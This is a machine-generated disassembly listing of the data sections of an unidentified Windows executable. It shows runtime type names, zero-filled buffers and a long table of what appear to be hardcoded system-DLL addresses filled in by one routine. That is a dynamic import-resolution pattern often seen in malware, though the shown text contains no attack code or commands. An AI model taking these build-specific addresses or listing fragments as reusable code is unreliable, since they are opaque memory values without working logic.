dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh
off_43DAE4 dd offset off_427CEC ; DATA XREF: .rdata:00427EC4o
; .rdata:00427FB0o
dd 0
a_?avexception@ db '.?AVexception@@',0
off_43DAFC dd offset off_427CEC ; DATA XREF: .rdata:off_427D78o
; .rdata:00427DB8o ...
dd 0
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 4
off_43DB1C dd offset off_427CEC ; DATA XREF: .rdata:off_427DC0o
; .rdata:00427E04o ...
dd 0
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 4
off_43DB3C dd offset off_427CEC ; DATA XREF: .rdata:off_427E0Co
; .rdata:00427E50o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_43DB60 dd offset off_427CEC ; DATA XREF: .rdata:off_427E58o
; .rdata:00427E94o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_424F1C
align 10h
dword_43DB80 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o
byte_43DB88 db 0 ; DATA XREF: sub_40111D+62o
; sub_401221+24Do ...
align 10h
dword_43DB90 dd 0 ; DATA XREF: sub_401221+38Fo
; sub_401ACD+AECo ...
dd 5 dup(0)
dword_43DBA8 dd 0 ; DATA XREF: sub_401ACD+B48r
; sub_415C40+60r
dd 2D9h dup(0)
dword_43E710 dd 0 ; DATA XREF: sub_401ACD+5D8Cr
; sub_401ACD+5E61r ...
dd 7Fh dup(0)
dword_43E910 dd 0 ; DATA XREF: sub_40B3BA+41w
; sub_40B4F5+40w ...
dword_43E914 dd 0 ; DATA XREF: sub_40B3BA+47w
; sub_40B4F5+46w ...
dword_43E918 dd 0 ; DATA XREF: sub_40B3BA+52w
; sub_40B4F5+3Ar ...
dword_43E91C dd 0 ; DATA XREF: sub_40111D+Cr
; sub_4017ED+B9w ...
dword_43E920 dd 0 ; DATA XREF: sub_40B4F5+75r
; sub_40B6D6+2Aw ...
dword_43E924 dd 0 ; DATA XREF: sub_401221+3DEw
; sub_401221+456w ...
byte_43E928 db 0 ; DATA XREF: sub_4017ED+91o
; sub_401ACD+5CD7r ...
align 4
dd 1B89h dup(0)
dword_445750 dd 473Ch dup(0) ; DATA XREF: .data:off_43492Co
db 0
byte_457441 db 3 dup(0) ; DATA XREF: .data:off_43902Co
dd 0E306h dup(0)
dword_49005C dd 937Eh dup(0) ; DATA XREF: .data:off_432948o
db 0
byte_4B4E55 db 3 dup(0) ; DATA XREF: .data:off_43165Co
dd 0FBh dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: .data:off_438E98o
dd 5932h dup(0)
dword_4CB710 dd 0A18Ah ; DATA XREF: sub_40111D+FDw
; sub_40B3BA+13o ...
dword_4CB714 dd 1Ah ; DATA XREF: sub_401221+3Dw
; sub_401ACD:loc_404494r ...
dword_4CB718 dd 0 ; DATA XREF: sub_401221:loc_4016FFo
dword_4CB71C dd 20h dup(0) ; DATA XREF: sub_401221+495o
; sub_401221+52Fo ...
dword_4CB79C dd 10h dup(0) ; DATA XREF: sub_401221+4ABo
dword_4CB7DC dd 24h dup(0) ; DATA XREF: sub_401221+4C2o
dword_4CB86C dd 0 ; DATA XREF: sub_401221+4B6w
; sub_401221+546w ...
dword_4CB870 dd 0 ; DATA XREF: sub_401221+4D5w
align 10h
byte_4CB880 db 0 ; DATA XREF: sub_401955+28r
; sub_401955+30o
align 4
dword_4CB884 dd 0 ; DATA XREF: sub_401221+4E3w
; sub_401221+4FAr ...
dword_4CB888 dd 0 ; DATA XREF: sub_401221+49Aw
; sub_401ACD+8A2r
word_4CB88C dw 0 ; DATA XREF: sub_401ACD+7BAFo
; .text:0040AFA9o ...
align 10h
dword_4CB890 dd 77C72C6Bh ; DATA XREF: sub_409909+4A7w
; sub_409909+4EBr
dword_4CB894 dd 77EBA994h ; DATA XREF: sub_409909+65w
; sub_419C09+166r
dword_4CB898 dd 7622A3F4h ; DATA XREF: sub_409909+80Bw
; sub_409909+880r ...
dword_4CB89C dd 71C45229h ; DATA XREF: sub_409909+9D8w
; sub_409909+A43r ...
dword_4CB8A0 dd 71C24870h ; DATA XREF: sub_409909+98Aw
; sub_409909+A13r ...
dword_4CB8A4 dd 77C71BB0h ; DATA XREF: sub_409909+48Dw
; sub_409909+4DBr
dword_4CB8A8 dd 77D4808Bh ; DATA XREF: sub_409909+213w
; sub_409909+234r ...
dword_4CB8AC dd 71C4502Ch ; DATA XREF: sub_409909+9CBw
; sub_409909+A3Br ...
dword_4CB8B0 dd 77DE801Bh ; DATA XREF: sub_409909+372w
; sub_409909+3C7r ...
dword_4CB8B4 dd 77DDACABh ; DATA XREF: sub_409909+40Fw
; sub_41AF8F+11Er
dword_4CB8B8 dd 77DE8075h ; DATA XREF: sub_409909+37Fw
; sub_409909+3CFr ...
dword_4CB8BC dd 77DD7496h ; DATA XREF: sub_409909+3C0w
; sub_4191DB+ADr
dword_4CB8C0 dd 71AB1B7Bh ; DATA XREF: sub_409909+55Aw
; sub_40FAD6+115r ...
dword_4CB8C4 dd 77E686CCh ; DATA XREF: sub_409909+72w
; sub_409909+D2r ...
dword_4CB8C8 dd 71C2498Bh ; DATA XREF: sub_409909+97Dw
; sub_409909+A06r ...
dword_4CB8CC dd 77DDAB2Fh ; DATA XREF: sub_409909+3A6w
; sub_409909+3E7r ...
dword_4CB8D0 dd 7620E8C3h ; DATA XREF: sub_409909+859w
; sub_409909+8ACr ...
dword_4CB8D4 dd 77DD23D7h ; DATA XREF: sub_409909+2A5w
; sub_409909+2F0r
dword_4CB8D8 dd 76214750h ; DATA XREF: sub_409909+84Cw
; sub_409909+8A4r ...
dword_4CB8DC dd 77E6D75Bh ; DATA XREF: sub_409909+B3w
dword_4CB8E0 dd 7620BD61h ; DATA XREF: sub_409909+866w
; sub_409909+8B4r ...
dword_4CB8E4 dd 71AB60C9h ; DATA XREF: sub_409909+54Dw
; sub_409909+6D0r ...
dword_4CB8E8 dd 77EBA6E9h ; DATA XREF: sub_409909+58w
; sub_409909+CAr ...
dword_4CB8EC dd 76D62A58h ; DATA XREF: sub_409909+934w
; sub_413E10+11Ar
dword_4CB8F0 dd 76F36EAAh ; DATA XREF: sub_401ACD:loc_403ECBr
; sub_409909+A95w ...
dword_4CB8F4 dd 77E802FCh ; DATA XREF: sub_409909+A6w
; sub_409909+F2r
dword_4CB8F8 dd 77C75455h ; DATA XREF: sub_409909+480w
; sub_409909+4D3r
dword_4CB8FC dd 71AB12A7h ; DATA XREF: sub_409909+5F6w
; sub_40C267+20r ...
dword_4CB900 dd 71C574FAh ; DATA XREF: sub_409909+9BEw
; sub_409909+A33r
dword_4CB904 dd 71AB1746h ; DATA XREF: sub_409909+5E9w
; sub_409909+754r ...
dword_4CB908 dd 71C21CA3h ; DATA XREF: sub_409909+A0Cw
dword_4CB90C dd 71B28D0Dh ; DATA XREF: sub_409909+B50w
; sub_40DC41+9Ar
dword_4CB910 dd 762211EFh ; DATA XREF: sub_409909+7FEw
; sub_409909+86Dr ...
dword_4CB914 dd 77D902E3h ; DATA XREF: sub_409909+1B3w
; sub_40B5B5+3Do ...
dword_4CB918 dd 71C2FA86h ; DATA XREF: sub_409909+997w
; sub_409909+A1Br ...
dword_4CB91C dd 77DE1291h ; DATA XREF: sub_409909+38Cw
; sub_409909+3D7r ...
dword_4CB920 dd 77E2C1B3h ; DATA XREF: sub_409909+399w
; sub_409909+3DFr ...
dword_4CB924 dd 73B81E3Bh ; DATA XREF: sub_409909+C85w
; sub_409909+C8Cr
dword_4CB928 dd 71ABF628h ; DATA XREF: sub_409909+6ACw
; sub_4111C0+D0r
dword_4CB92C dd 71AB1836h ; DATA XREF: sub_40111D+1Dr
; sub_40111D+23r ...
dword_4CB930 dd 77C72889h ; DATA XREF: sub_409909+4B4w
dword_4CB934 dd 71C453F8h ; DATA XREF: sub_409909+9E5w
; sub_409909+A4Br ...
dword_4CB938 dd 77DD5C55h ; DATA XREF: sub_401000+51r
; sub_409909+2B2w ...
dword_4CB93C dd 77E96645h ; DATA XREF: sub_409909+7Fw
; sub_409909+DAr ...
dword_4CB940 dd 77428B97h ; DATA XREF: sub_401ACD+5840r
; sub_401ACD+781Er ...
dword_4CB944 dd 71AB41DAh ; DATA XREF: sub_401221+8Cr
; sub_401ACD+5037r ...
dword_4CB948 dd 762059A3h ; DATA XREF: sub_409909+825w
; sub_409909+890r ...
dword_4CB94C dd 71C4A1B4h ; DATA XREF: sub_409909+9A4w
; sub_409909+A23r
dword_4CB950 dd 1F7CD214h ; DATA XREF: sub_409909+C0Ew
; sub_409909+C3Fr
dword_4CB954 dd 77E09134h ; DATA XREF: sub_409909+2CCw
; sub_418A2E+47r
dword_4CB958 dd 77D4456Bh ; DATA XREF: sub_409909+22Dw
; sub_4126A7+40r ...
dword_4CB95C dd 76D629BBh ; DATA XREF: sub_409909+91Aw
; sub_409909+92Er ...
dword_4CB960 dd 1F7B9D96h ; DATA XREF: sub_409909+C28w
dword_4CB964 dd 77E09070h ; DATA XREF: sub_409909+2D9w
; sub_418A2E+4Fr
dword_4CB968 dd 71AB1740h ; DATA XREF: sub_409909+574w
; sub_409909+6E8r ...
dword_4CB96C dd 7620AFB6h ; DATA XREF: sub_409909+83Fw
; sub_409909+873r
dword_4CB970 dd 77D5C13Ah ; DATA XREF: sub_409909+220w
; sub_409909+23Cr ...
dword_4CB974 dd 77D45B19h ; DATA XREF: sub_409909+172w
; sub_409909+1C2r
dword_4CB978 dd 71AB157Eh ; DATA XREF: sub_401ACD+1DCEr
; sub_401ACD+59F9r ...
dword_4CB97C dd 71AB3E5Dh ; DATA XREF: sub_4017ED+C4r
; sub_401ACD+50C1r ...
dword_4CB980 dd 71AB14DCh ; DATA XREF: sub_409909+567w
; sub_409909+6DCr ...
dword_4CB984 dd 0CC0004h ; DATA XREF: sub_409909+8DBw
; sub_409909:loc_40A202w ...
dword_4CB988 dd 77DD590Bh ; DATA XREF: sub_401000+26r
; sub_409909+28Bw ...
dword_4CB98C dd 71ABD755h ; DATA XREF: sub_401ACD+77AFr
; sub_409909+69Fw ...
dword_4CB990 dd 77DF7311h ; DATA XREF: sub_409909+32Dw
; sub_409909+341r ...
dword_4CB994 dd 77DDA2AFh ; DATA XREF: sub_409909+3B3w
; sub_409909+3EFr ...
dword_4CB998 dd 1F7CD927h ; DATA XREF: sub_409909+C01w
; sub_409909+C37r
dword_4CB99C dd 76206853h ; DATA XREF: sub_409909+818w
; sub_409909+888r ...
dword_4CB9A0 dd 77D4932Ch ; DATA XREF: sub_409909+206w
; sub_409909+227r ...
dword_4CB9A4 dd 77D5E310h ; DATA XREF: sub_409909+18Cw
; sub_409909+1D2r ...
dword_4CB9A8 dd 76206B7Fh ; DATA XREF: sub_409909+832w
; sub_409909+898r ...
dword_4CB9AC dd 71AB1444h ; DATA XREF: sub_409909+624w
; sub_409909+774r ...
dword_4CB9B0 dd 77DD189Ah ; DATA XREF: sub_401000+5Ar
; sub_409909+2BFw ...
dword_4CB9B4 dd 71AB3F8Dh ; DATA XREF: sub_409909+66Bw
; sub_409909+79Cr ...
dword_4CB9B8 dd 77DD5D20h ; DATA XREF: sub_409909+320w
; sub_409909+334r ...
dword_4CB9BC dd 71AB1890h ; DATA XREF: sub_409909+644w
; sub_409909+784r ...
dword_4CB9C0 dd 77C76B34h ; DATA XREF: sub_409909+44Cw
; sub_409909+4AEr
dword_4CB9C4 dd 77D5E38Ch ; DATA XREF: sub_409909+199w
; sub_409909+1DAr ...
dword_4CB9C8 dd 77DDA20Bh ; DATA XREF: sub_409909+365w
; sub_409909+3BAr ...
dword_4CB9CC dd 76F36EEBh ; DATA XREF: sub_409909+AA2w
dword_4CB9D0 dd 71AB12A7h ; DATA XREF: sub_409909+5DCw
; sub_409909+748r ...
dword_4CB9D4 dd 71AB1746h ; DATA XREF: sub_4017ED+3Er
; sub_401ACD+5073r ...
dword_4CB9D8 dd 77EBA595h ; DATA XREF: sub_409909+4Bw
; sub_409909+C2r ...
dword_4CB9DC dd 77C7531Dh ; DATA XREF: sub_409909+473w
; sub_409909+4CBr
dword_4CB9E0 dd 77D4BDCAh ; DATA XREF: sub_409909+165w
; sub_409909+1BAr ...
dword_4CB9E4 dd 71C3516Ah ; DATA XREF: sub_409909+9FFw
; sub_409909+A5Br ...
dword_4CB9E8 dd 71AB32CAh ; DATA XREF: sub_409909+685w
; sub_409909+7ACr ...
dword_4CB9EC dd 71AB5690h ; DATA XREF: sub_401955+D1r
; sub_401ACD+50D6r ...
dword_4CB9F0 dd 1F7CB8F8h ; DATA XREF: sub_409909+C1Bw
; sub_409909+C47r
dword_4CB9F4 dd 77EBB1E7h ; DATA XREF: sub_409909+3Ew
; sub_409909+BAr ...
dword_4CB9F8 dd 77DD59F0h ; DATA XREF: sub_401000+45r
; sub_409909+298w ...
dword_4CB9FC dd 71AB5DE2h ; DATA XREF: sub_409909+651w
; sub_409909+78Cr ...
dword_4CBA00 dd 71AB3ECEh ; DATA XREF: sub_409909+637w
; sub_409909+77Cr ...
dword_4CBA04 dd 73B81B0Fh ; DATA XREF: sub_409909+C92w
dword_4CBA08 dd 76204E4Dh ; DATA XREF: sub_409909+879w
; sub_4167A0+4DCr ...
dword_4CBA0C dd 0 ; DATA XREF: sub_409909+112w
dword_4CBA10 dd 1F7D886Ah ; DATA XREF: sub_409909+BE7w
; sub_409909+C22r
dword_4CBA14 dd 71AB12F8h ; DATA XREF: sub_401ACD+2F9Br
; sub_401ACD+5EB8r ...
dword_4CBA18 dd 77C76551h ; DATA XREF: sub_409909+459w
; sub_409909+4BBr
dword_4CBA1C dd 77C729E2h ; DATA XREF: sub_409909+49Aw
; sub_409909+4E3r
dword_4CBA20 dd 77C7212Fh ; DATA XREF: sub_409909+466w
; sub_409909+4C3r
dword_4CBA24 dd 71AB1AF4h ; DATA XREF: sub_401955+89r
; sub_401ACD+50F3r ...
dword_4CBA28 dd 77D5E303h ; DATA XREF: sub_409909+1A6w
; sub_409909+1E2r ...
dword_4CBA2C dd 71C4576Ch ; DATA XREF: sub_409909+9F2w
; sub_409909+A53r ...
dword_4CBA30 dd 77D4702Fh ; DATA XREF: sub_409909+158w
; sub_409909+1ADr ...
dword_4CBA34 dd 77E6C0E3h ; DATA XREF: sub_409909+8Cw
; sub_409909+E2r ...
dword_4CBA38 dd 71AB1ED3h ; DATA XREF: sub_409909+610w
; sub_409909+764r ...
dword_4CBA3C dd 71B2A381h ; DATA XREF: sub_409909+B43w
; sub_409909+B5Fr
dword_4CBA40 dd 77DDA595h ; DATA XREF: sub_409909+33Aw
; sub_419B9E+55r
dword_4CBA44 dd 77DD22EAh ; DATA XREF: sub_409909+27Ew
; sub_409909+2D3r ...
dword_4CBA48 dd 773F97B0h ; DATA XREF: sub_409909+BAAw
dword_4CBA4C dd 76D67A29h ; DATA XREF: sub_409909+AECw
; sub_40A928+CEr
dword_4CBA50 dd 76D674FAh ; DATA XREF: sub_409909+ADFw
; sub_409909+AE6r ...
dword_4CBA54 dd 71AB3C22h ; DATA XREF: sub_4017ED+A6r
; sub_401ACD+5052r ...
dword_4CBA58 dd 71AB2BBFh ; DATA XREF: sub_401ACD+5044r
; sub_401ACD+77D6r ...
dword_4CBA5C dd 1F7BA3A9h ; DATA XREF: sub_409909+BF4w
; sub_409909+C2Fr
dword_4CBA60 dd 71AB401Ch ; DATA XREF: sub_401ACD+1DF4r
; sub_401ACD+5A1Fr ...
dword_4CBA64 dd 71C214BAh ; DATA XREF: sub_409909+9B1w
; sub_409909+A2Br ...
dword_4CBA68 dd 71AB868Dh ; DATA XREF: sub_409909+65Ew
; sub_409909+794r ...
dword_4CBA6C dd 71AB1A6Dh ; DATA XREF: sub_40111D+12r
; sub_4017ED+D0r ...
dword_4CBA70 dd 71AB155Ah ; DATA XREF: sub_409909+59Bw
; sub_409909+70Cr ...
dword_4CBA74 dd 71B22C25h ; DATA XREF: sub_409909+B36w
; sub_409909+B57r ...
dword_4CBA78 dd 71AB5A01h ; DATA XREF: sub_409909+540w
; sub_409909+6C4r ...
dword_4CBA7C dd 71B2ACCBh ; DATA XREF: sub_409909+B29w
; sub_409909+B4Ar
dword_4CBA80 dd 77E78C17h ; DATA XREF: sub_401221+52r
; sub_409909+31w ...
dword_4CBA84 dd 77D49A11h ; DATA XREF: sub_409909+17Fw
; sub_409909+1CAr
dd 0
dword_4CBA8C dd 76D62A37h ; DATA XREF: sub_409909+927w
; sub_409909+93Br ...
dword_4CBA90 dd 77E6CBF9h ; DATA XREF: sub_409909+99w
; sub_409909+EAr ...
dword_4CBA94 dd 0 ; DATA XREF: sub_409909:loc_409A07w
; sub_409909+12Bw ...
dword_4CBA98 dd 0 ; DATA XREF: sub_409909+126w
; sub_40A5C5+1Cr
dword_4CBA9C dd 0 ; DATA XREF: sub_409909:loc_409AF7w
; sub_409909:loc_409B5Ew ...
dword_4CBAA0 dd 0 ; DATA XREF: sub_409909+250w
; sub_40A5C5+50r
dword_4CBAA4 dd 0 ; DATA XREF: sub_401221+349r
; sub_401ACD+4468r ...
dword_4CBAA8 dd 0 ; DATA XREF: sub_409909+41Ew
; sub_40A5C5+84r
dword_4CBAAC dd 0 ; DATA XREF: sub_409909:loc_409E0Dw
; sub_40A5C5:loc_40A675r
dword_4CBAB0 dd 0 ; DATA XREF: sub_409909+4FFw
; sub_40A5C5+B8r
dword_4CBAB4 dd 0 ; DATA XREF: sub_409909:loc_40A0DEw
; sub_40A5C5:loc_40A6A9r
dword_4CBAB8 dd 0 ; DATA XREF: sub_409909+7D0w
; sub_40A5C5+ECr
dword_4CBABC dd 0 ; DATA XREF: sub_409909:loc_40A1C9w
; sub_409909+8EFw ...
dword_4CBAC0 dd 0 ; DATA XREF: sub_409909+8EAw
; sub_40A5C5+120r
dword_4CBAC4 dd 0 ; DATA XREF: sub_401ACD:loc_406E35r
; sub_409909:loc_40A25Dw ...
dword_4CBAC8 dd 0 ; DATA XREF: sub_409909+94Fw
; sub_40A5C5+154r
dword_4CBACC dd 0 ; DATA XREF: sub_401ACD+4470r
; sub_409909:loc_40A379w ...
dword_4CBAD0 dd 0 ; DATA XREF: sub_409909+A6Bw
; sub_40A5C5+188r
dword_4CBAD4 dd 0 ; DATA XREF: sub_409909:loc_40A3C3w
; sub_40A5C5:loc_40A779r
dword_4CBAD8 dd 0 ; DATA XREF: sub_409909+AB5w
; sub_40A5C5+1BCr
dword_4CBADC dd 0 ; DATA XREF: sub_409909:loc_40A40Dw
; sub_40A5C5:loc_40A7ADr
dword_4CBAE0 dd 0 ; DATA XREF: sub_409909+AFFw
; sub_40A5C5+1F0r
dword_4CBAE4 dd 0 ; DATA XREF: sub_409909:loc_40A481w
; sub_40A5C5:loc_40A7E1r
dword_4CBAE8 dd 0 ; DATA XREF: sub_409909+B73w
; sub_40A5C5+224r
dword_4CBAEC dd 0 ; DATA XREF: sub_409909:loc_40A4CBw
; sub_40A5C5:loc_40A815r
dword_4CBAF0 dd 0 ; DATA XREF: sub_409909+BBDw
; sub_40A5C5+258r
dword_4CBAF4 dd 0 ; DATA XREF: sub_409909:loc_40A569w
; sub_40A5C5:loc_40A849r
dword_4CBAF8 dd 0 ; DATA XREF: sub_409909+C5Bw
; sub_40A5C5+28Cr
dword_4CBAFC dd 0 ; DATA XREF: sub_409909:loc_40A5B3w
; sub_40A5C5:loc_40A87Dr
dword_4CBB00 dd 0 ; DATA XREF: sub_409909+CA5w
; sub_40A5C5+2C0r
dword_4CBB04 dd 5 dup(0) ; DATA XREF: sub_40AA06+32o
byte_4CBB18 db 0 ; DATA XREF: sub_40B2B3+6Ar
; sub_40B2B3+98w
align 10h
dword_4CBB20 dd 0 ; DATA XREF: sub_40BD1A+18r
; sub_40C2AF+92w ...
dword_4CBB24 dd 0 ; DATA XREF: sub_40C3E8+4Dr
; sub_40C600+D9w ...
dd 7FEh dup(0)
dword_4CDB20 dd 6 dup(0) ; DATA XREF: sub_40C3E8+D2o
; sub_40C3E8+13Bo ...
dword_4CDB38 dd 0 ; DATA XREF: sub_40BD91+2C4w
; sub_40BD91+348o
dword_4CDB3C dd 0 ; DATA XREF: sub_40BD91+33Ew
; sub_40BD91+35Ar
dword_4CDB40 dd 0 ; DATA XREF: sub_40BD91+2CFw
dword_4CDB44 dd 0 ; DATA XREF: sub_40BD91+2B9w
; sub_40BD91:loc_40C0A6r
dword_4CDB48 dd 20h dup(0) ; DATA XREF: sub_40BD91+2E2o
; sub_40BD91+302o
dword_4CDBC8 dd 0 ; DATA XREF: sub_40BD91+2D5w
dword_4CDBCC dd 0 ; DATA XREF: sub_40BD91+2EFw
; sub_40BD91+30Fw
dword_4CDBD0 dd 0 ; DATA XREF: sub_40BD91:loc_40C101r
align 8
dword_4CDBD8 dd 0 ; DATA XREF: sub_40BD91+82w
; sub_40BD91+101o
dword_4CDBDC dd 41h dup(0) ; DATA XREF: sub_40BD91+41o
dword_4CDCE0 dd 41h dup(0) ; DATA XREF: sub_40BD91+69o
dword_4CDDE4 dd 0 ; DATA XREF: sub_40BD91+F7w
; sub_40BD91+113r
dword_4CDDE8 dd 0 ; DATA XREF: sub_40BD91+52w
dword_4CDDEC dd 0 ; DATA XREF: sub_40BD91+4Dw
; sub_40BD91+D4r
dword_4CDDF0 dd 20h dup(0) ; DATA XREF: sub_40BD91+9Ao
; sub_40BD91+BAo
dword_4CDE70 dd 0 ; DATA XREF: sub_40BD91+8Fw
dword_4CDE74 dd 0 ; DATA XREF: sub_40BD91+A7w
; sub_40BD91+C7w
dword_4CDE78 dd 0 ; DATA XREF: sub_40BD91:loc_40BEBAr
align 10h
dword_4CDE80 dd 0 ; DATA XREF: sub_40BD91+1A5w
; sub_40BD91+225o
dword_4CDE84 dd 41h dup(0) ; DATA XREF: sub_40BD91+167o
dword_4CDF88 dd 41h dup(0) ; DATA XREF: sub_40BD91+18Co
dword_4CE08C dd 0 ; DATA XREF: sub_40BD91+21Bw
; sub_40BD91+237r
dword_4CE090 dd 0 ; DATA XREF: sub_40BD91+17Aw
dword_4CE094 dd 0 ; DATA XREF: sub_40BD91+175w
; sub_40BD91+1F8r
dword_4CE098 dd 20h dup(0) ; DATA XREF: sub_40BD91+1BEo
; sub_40BD91+1DEo
dword_4CE118 dd 0 ; DATA XREF: sub_40BD91+1B1w
dword_4CE11C dd 0 ; DATA XREF: sub_40BD91+1CBw
; sub_40BD91+1EBw
dword_4CE120 dd 0 ; DATA XREF: sub_40BD91:loc_40BFDEr
align 8
dword_4CE128 dd 0 ; DATA XREF: sub_40BD91+417w
; sub_40BD91+470o
dword_4CE12C dd 0A2h dup(0) ; DATA XREF: sub_40BD91+405o
dword_4CE3B4 dd 41h dup(0) ; DATA XREF: sub_40BD91+3CFo
dword_4CE4B8 dd 0 ; DATA XREF: sub_40BD91+3FCw
; sub_40BD91+423r
align 10h
dword_4CE4C0 dd 0 ; DATA XREF: sub_40BD91+466w
; sub_40BD91+482r
dword_4CE4C4 dd 0 ; DATA XREF: sub_40BD91+429w
dword_4CE4C8 dd 0 ; DATA XREF: sub_40BD91+436w
dword_4CE4CC dd 0 ; DATA XREF: sub_40BD91+3F6w
dd 0
dword_4CE4D4 dd 0 ; DATA XREF: sub_40BD91:loc_40C229r
dd 0
dword_4CE4DC dd 0 ; DATA XREF: sub_40B9DD+Er
; sub_40B9DD+32r ...
dword_4CE4E0 dd 0 ; DATA XREF: sub_40B9DD+9r
; sub_40B9DD+26r ...
dword_4CE4E4 dd 82h dup(0) ; DATA XREF: sub_40C85F+8Do
dword_4CE6EC dd 2 dup(0) ; DATA XREF: sub_40D1C8+68o
dword_4CE6F4 dd 0 ; DATA XREF: sub_40DB5E+9Eo
dword_4CE6F8 dd 0 ; DATA XREF: sub_40EED1+1Fr
; sub_40EF1C+BCo ...
dword_4CE6FC dd 0 ; DATA XREF: sub_40EF1C+B7o
; sub_40EF1C+DAr ...
dword_4CE700 dd 0 ; DATA XREF: sub_40EF1C+9Ao
; sub_40EF1C+CFr ...
dword_4CE704 dd 0 ; DATA XREF: sub_40EE8E+35r
; sub_40EF1C+95o ...
dword_4CE708 dd 0 ; DATA XREF: sub_40EE8E+17r
; sub_40EED1+3Dr ...
align 10h
dword_4CE710 dd 0A114h ; DATA XREF: sub_40BD91+2AEr
; sub_40F0F1+10w ...
align 8
dword_4CE718 dd 0 ; DATA XREF: sub_40BA49+1Cr
; sub_40F108+27Cw
dword_4CE71C dd 0 ; DATA XREF: sub_40F9BF+2Aw
; sub_40F9BF+51r ...
dd 3 dup(0)
dword_4CE72C dd 0 ; DATA XREF: sub_4111C0+146r
dd 0
dword_4CE734 dd 0 ; DATA XREF: sub_412EDD+4w
; sub_412EDD+9o
align 10h
byte_4CE740 db 0 ; DATA XREF: sub_413A29+1D3w
; sub_413A29+2D2o
align 2
word_4CE742 dw 0 ; DATA XREF: sub_413A29+1E3w
word_4CE744 dw 0 ; DATA XREF: sub_413A29+1E9w
word_4CE746 dw 0 ; DATA XREF: sub_413A29+1F0w
byte_4CE748 db 0 ; DATA XREF: sub_413A29+1F7w
byte_4CE749 db 0 ; DATA XREF: sub_413A29+1FEw
word_4CE74A dw 0 ; DATA XREF: sub_413A29+204w
dword_4CE74C dd 0 ; DATA XREF: sub_413A29+234w
; sub_413A29+250w
dword_4CE750 dd 0 ; DATA XREF: sub_413A29+258w
byte_4CE754 db 0 ; DATA XREF: sub_413A29+26Aw
byte_4CE755 db 0 ; DATA XREF: sub_413A29+27Dw
word_4CE756 dw 0 ; DATA XREF: sub_413A29+295w
word_4CE758 dw 0 ; DATA XREF: sub_413A29+2A4w
word_4CE75A dw 0 ; DATA XREF: sub_413A29+29Cw
dword_4CE75C dd 101h dup(0) ; DATA XREF: sub_413A29+2B9o
dword_4CEB60 dd 80h dup(0) ; DATA XREF: sub_401ACD+2F25o
; sub_401ACD:loc_404A7Bo ...
byte_4CED60 db 0 ; DATA XREF: sub_4152D1+1A1w
; sub_4152D1+27Ao
align 2
word_4CED62 dw 0 ; DATA XREF: sub_4152D1+1AEw
word_4CED64 dw 0 ; DATA XREF: sub_4152D1+1B8w
word_4CED66 dw 0 ; DATA XREF: sub_4152D1+1C1w
byte_4CED68 db 0 ; DATA XREF: sub_4152D1+1C8w
byte_4CED69 db 0 ; DATA XREF: sub_4152D1+1CFw
word_4CED6A dw 0 ; DATA XREF: sub_4152D1+1D6w
dword_4CED6C dd 0 ; DATA XREF: sub_4152D1+1E3w
dword_4CED70 dd 0 ; DATA XREF: sub_4152D1+1EBw
word_4CED74 dw 0 ; DATA XREF: sub_4152D1+244w
word_4CED76 dw 0 ; DATA XREF: sub_4152D1+22Cw
word_4CED78 dw 0 ; DATA XREF: sub_4152D1+256w
word_4CED7A dw 0 ; DATA XREF: sub_4152D1+1F7w
dword_4CED7C dd 101h dup(0) ; DATA XREF: sub_4152D1+265o
dword_4CF180 dd 0 ; DATA XREF: sub_401ACD+19C3w
; sub_401ACD+2F1Dr ...
align 10h
byte_4CF190 db 0 ; DATA XREF: sub_4157BA+241o
; sub_4157BA+250w ...
byte_4CF191 db 0 ; DATA XREF: sub_4157BA+264w
word_4CF192 dw 0 ; DATA XREF: sub_4157BA+295w
word_4CF194 dw 0 ; DATA XREF: sub_4157BA+27Cw
; sub_4157BA:loc_415B8Cw
word_4CF196 dw 0 ; DATA XREF: sub_4157BA+29Bw
byte_4CF198 db 0 ; DATA XREF: sub_4157BA+288w
byte_4CF199 db 0 ; DATA XREF: sub_4157BA+25Dw
word_4CF19A dw 0 ; DATA XREF: sub_4157BA+3F2w
; sub_4157BA+41Cw
dword_4CF19C dd 0 ; DATA XREF: sub_4157BA:loc_415A83w
; sub_4157BA+39Ar
dword_4CF1A0 dd 0 ; DATA XREF: sub_4157BA+2D6w
word_4CF1A4 dw 0 ; DATA XREF: sub_4157BA+394w
; sub_4157BA+3E8o
word_4CF1A6 dw 0 ; DATA XREF: sub_4157BA+335w
; sub_4157BA+35Ar ...
dword_4CF1A8 dd 0 ; DATA XREF: sub_4157BA+30Cw
; sub_4157BA+3D9w
dword_4CF1AC dd 0 ; DATA XREF: sub_4157BA+328w
; sub_4157BA+3ABw ...
byte_4CF1B0 db 0 ; DATA XREF: sub_4157BA+311r
; sub_4157BA+31Fw
byte_4CF1B1 db 0 ; DATA XREF: sub_4157BA+2DBw
; sub_4157BA+3A4w ...
word_4CF1B2 dw 0 ; DATA XREF: sub_4157BA+2E9w
word_4CF1B4 dw 0 ; DATA XREF: sub_4157BA+3F9w
; sub_4157BA+42Aw
word_4CF1B6 dw 0 ; DATA XREF: sub_4157BA+32Ew
word_4CF1B8 dw 0 ; DATA XREF: sub_4157BA+360w
; sub_4157BA+432o
word_4CF1BA dw 0 ; DATA XREF: sub_4157BA+36Fw
; sub_4157BA+409w
dword_4CF1BC dd 0 ; DATA XREF: sub_4157BA+369w
dd 2 dup(0)
dword_4CF1C8 dd 0 ; DATA XREF: sub_4157BA+39Fw
; sub_4157BA+417o
dword_4CF1CC dd 0 ; DATA XREF: sub_4157BA+33Bw
byte_4CF1D0 db 0 ; DATA XREF: sub_4157BA+341w
byte_4CF1D1 db 0 ; DATA XREF: sub_4157BA+347w
word_4CF1D2 dw 0 ; DATA XREF: sub_4157BA+354w
dword_4CF1D4 dd 7 dup(0) ; DATA XREF: sub_4157BA+3EDo
dword_4CF1F0 dd 0 ; DATA XREF: sub_4157BA+30w
; sub_4157BA+43Br
dword_4CF1F4 dd 100h dup(0) ; DATA XREF: sub_4157BA+1C3o
; sub_4157BA+47Eo
dword_4CF5F4 dd 1000h dup(0) ; DATA XREF: sub_415D38+1Do
; sub_415DD8o ...
